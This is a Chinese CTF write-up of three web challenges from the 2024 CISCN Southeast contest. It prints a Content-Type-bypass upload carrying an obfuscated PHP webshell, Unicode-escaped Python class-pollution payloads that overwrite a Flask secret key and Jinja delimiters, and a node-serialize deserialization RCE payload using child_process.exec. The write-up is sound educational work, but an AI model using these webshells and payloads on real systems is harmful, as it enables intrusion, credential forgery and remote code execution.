2024-CISCN-SouthEast-Web

Break

0x01-welcome

0x02-submit-BREAK

文件上传;会对Content-Type做检测直接使用image/png进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: 10.1.129.21
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27852787336957398173101187291
Content-Length: 262
Origin: http://10.1.129.21
Connection: close
Referer: http://10.1.129.21/
Upgrade-Insecure-Requests: 1

-----------------------------27852787336957398173101187291
Content-Disposition: form-data; name="myfile"; filename="test.php"
Content-Type: image/png

<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
-----------------------------27852787336957398173101187291--

?_=system&__=cat /flag

0x03-Polluted-BREAK

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','secret','key','\\']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)

合并函数

看到这个合并函数马上就可以想到要打Python原型链污染

根路由

此时在根路由中继续出现合并函数;如果是原型链污染的话可以从这里入手

/admin路由

此时我们看到了flag的获取逻辑;我们只需要让username == "adminer" and password == app.secret_key即可获取flag;那么此时我们就可以利用Python污染来污染到app.secret_key值;使得app.secret_key为我们所控。此时的攻击思路已经出来了;就是利用原型链污染来污染app.secret_key

payload

因为此时存在黑名单

1
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','secret','key','\\']

但是因为json格式可以识别Unicode编码所以我们直接对其进行Unicode编码即可

1
2
3
4
5
6
7
8
9
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" : "okfafu"
}
}
}
}

但是此时发现flag的解析存在点问题

二次污染

此时应该要语法标识符是[%flag%],那么我们就继续污染jinja2的语法标识符为[%%]

1
2
3
4
5
6
7
8
9
10
11
{
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
        "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
            "\u0061\u0070\u0070" : {
                    "jinja\u005f\u0065\u006e\u0076" :{
"variable\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067" : "[%","variable\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"%]"
}        
            }
        }
    }
}

登录后即可获得flag

0x04-bigfish-BREAK(复盘)

在进行攻击的时候没有做出来这一题;后面在fix的时候结合源码进行审计之后才发现了问题所在

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');


let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}

//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
data_path = req.body.newname;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});


//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});

//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});


app.listen(80, '0.0.0.0');

越权漏洞

此时我们观察到只要即可获取管理员权限;进行越权

1
cookies.username == "admin" & req.cookies.is_admin == "true"

即可获取管理员权限;进行越权

Node.js 反序列化漏洞远程执行

此时继续做代码审计会发现存在一个反序列化的点

漏洞原理:

若不可信的数据传入 unserialize() 函数,通过传递立即调用函数表达式(IIFE)的 JavaScript 对象可以实现任意代码执行。

参考文章:https://paper.seebug.org/213/

此时直接上payload

1
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error, stdout, stderr) {console.log(stdout)});}()"}

此时发现没有回显;那么我们可以将输出结果写入文件;因为刚好这个输入点可以读取文件

payload
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('cat /this_is_your_ffflagg > /srv/1.txt',function(error,stdout,stderr) {console.log(stdout)});}()"}

然后修改读取文件的位置之后即可获得flag


遗憾总是贯穿人生的始终